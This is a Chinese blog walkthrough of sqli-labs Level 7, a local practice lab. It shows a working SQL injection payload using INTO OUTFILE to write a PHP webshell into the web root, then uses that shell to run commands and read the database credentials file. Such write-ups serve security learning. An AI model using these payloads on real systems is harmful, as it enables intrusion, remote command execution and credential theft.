当前位置: 首页 > web >正文

sqli-labs靶场第七关——文件导出注入

一:目标

通过sql注入将php代码写入网站目录,通过这个php文件执行命令

二:确认前置条件

%secure_file_priv%

首先我们需要Mysql是否允许导出文件

先尝试在网页中sql注入,检查导出权限

?id=1')) union select 1,@@secure_file_priv,3-- -

检查失败

换方法,通过Mysql命令行直接执行:

win+r→powershell→mysql -u root -p→password

然后检查:

show variables like '%secure_file_priv%';

窗口显示如下 

 

这里value有三种可能的值:

  • Null:禁止所有导入导出操作(最严格)

  • 空字符串'':允许所有目录的导入导出(有安全风险)

  • 指定路径:只允许该目录下的文件操作

如果值是空or是路径,继续攻击

如果值为NULL,那么注入一定失败,需要我们修改配置 ,方法如下:

在你的Mysql文件夹里找到my.ini,从段落的中间部分找到 [mysqld],在下面一行加上

secure_file_priv = ""

保存,服务里面重启动Mysql,然后 win+r→powershell→mysql -u root -p→password,再次检查

可以看到Value值变成空,说明我们修改成功了 ~

三:确定注入类型

首先输入 ?id=1',报错

尝试单引号+括号,?id=1'),报错

 尝试?id=1'))--+,页面恢复正常!!

所以这一关要闭合 ')) 

四:写一个webshell文件

首先用order by确定有三行

payload:

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,
'<?php system($_GET["cmd"]);?>',
3 
into outfile
'D:/nginx-1.27.5/html/shell.php'-- -

php代码:<?php system($_GET["cmd"]);?>

路径按照网站的真实路径来

**注意:路径使用双反斜杠\\

into outfile 文件导出:

select 内容 into outfile '文件路径';

使用条件:

1.Mysql有权限

2.知道目标路径的物理路径

3.secure_file_priv允许操作

 列出网站目录:

http://localhost/shell.php?cmd=dir D:\nginx-1.27.5\html\  

 这里面可以看出我们的绝对路径是否正确

这样显示更清楚一点

http://localhost/shell.php?cmd=dir

整理我们得到的数据!

D:\nginx-1.27.5\html\  # 当前目录路径
├── 50x.html           # Nginx错误页面
├── index.html         # 默认首页
├── index.php          # PHP入口文件
├── shell.php          # 刚写入的WebShell
└── sqli-labs/         # SQLi-Labs靶场目录

再来几个查询!

查看服务器用户名

http://localhost/shell.php?cmd=whoami

 

读取数据库配置文件(获取账号密码) 

http://localhost/shell.php?cmd=type D:\nginx-1.27.5\sqli-labs\sql-connections\db-creds.inc

❀❀❀ 完结撒花!! ❀❀❀

http://www.xdnf.cn/news/6417.html

相关文章:

  • ISP中拖影问题的处理
  • 嵌入式学习笔记DAY21(双向链表、Makefile)
  • C++11(2)
  • MySQL DBA数据运维管理经验分享:新手入门快速提升效率的新工具与技巧
  • 基于AH1101芯片的5V升18.6V LED恒流背光供电方案设计
  • 【免费分享】虚拟机VM(适用于 Windows)17.6.3
  • 【优化算法】协方差矩阵自适应进化策略(Covariance Matrix Adaptation Evolution Strategy,CMA-ES)
  • 35页AI应用PPT《DeepSeek如何赋能职场应用》DeepSeek本地化部署与应用案例合集
  • React19源码系列之 Diff算法
  • 国产数据库工具突围:SQLynx如何解决Navicat的三大痛点?深度体验报告
  • OpenCV计算机视觉实战(5)——图像基础操作全解析
  • Apache RocketMQ ACL 2.0 全新升级
  • LabVIEW的CAN通讯测试程序
  • 第 83 场周赛:较大分组的位置、隐藏个人信息、连续整数求和、统计子串中的唯一字符
  • 2025长三角杯数学建模A题思路模型代码:智能手机产品设计优化与定价问题
  • 增强 HTNN 服务网格功能:基于 Istio 的BasicAuth 与 ACL 插件开发实战
  • 本地部署Firecrawl+Dify调用踩坑记录
  • 由于复制槽导致wal大量堆积的处理方案
  • LeetCode LCR 015. 找到字符串中所有字母异位词 (Java)
  • 机器学习第十二讲:特征选择 → 选最重要的考试科目做录取判断
  • React 第四十二节 Router 中useLoaderData的用途详解
  • 【常用算法:排序篇】7.算法魔法与面试秘籍:从趣味排序到实战通关
  • 架空防静电地板材质全解析:选对材质,守护精密空间的“安全卫士”
  • 常用的关系性统计方法
  • 【物联网】基于树莓派的物联网开发【4】——WIFI+SSH远程登录树莓派
  • 2505C++,py和go调用雅兰亭库的协程工具
  • 2025年渗透测试面试题总结-阿里云[实习]阿里云安全-安全工程师(题目+回答)
  • 2025认证杯第二阶段数学建模B题:谣言在社交网络上的传播思路+模型+代码
  • 贝叶斯优化Transformer融合支持向量机多变量回归预测,附相关性气泡图、散点密度图,Matlab实现
  • 【Python 正则表达式】